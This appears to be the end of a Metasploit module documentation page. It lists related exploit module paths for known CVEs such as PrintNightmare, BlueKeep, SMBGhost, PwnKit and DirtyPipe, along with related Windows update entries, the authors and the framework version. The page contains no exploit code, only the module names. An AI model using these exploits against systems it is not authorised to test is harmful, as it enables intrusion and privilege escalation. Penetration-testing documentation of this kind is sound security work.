- exploit/windows/local/cve_2021_1732_win32k
- exploit/windows/local/cve_2021_21551_dbutil_memmove
- exploit/windows/local/cve_2021_40449
- exploit/windows/local/cve_2022_21882_win32k
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/cve_2022_26904_superprofile
- exploit/windows/dcerpc/cve_2021_1675_printnightmare
- exploit/windows/fileformat/cve_2017_8464_lnk_rce
- exploit/windows/misc/cve_2022_28381_allmediaserver_bof
- exploit/windows/rdp/cve_2019_0708_bluekeep_rce
- exploit/windows/smb/cve_2020_0796_smbghost
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/local/cve_2022_0847_dirtypipe
- exploit/linux/local/cve_2022_0995_watch_queue
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/multi/http/cve_2021_35464_forgerock_openam
- exploit/multi/sap/cve_2020_6207_solman_rs
- exploit/windows/local/lenovo_systemupdate
Related Nessus plugins:
- KB4560960: Windows 10 Version 1903 and Windows 10 Version 1909 June 2020 Security Update
- KB4557957: Windows 10 Version 2004 June 2020 Security Update
Authors
- Imre Rad
- bwatters-r7
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.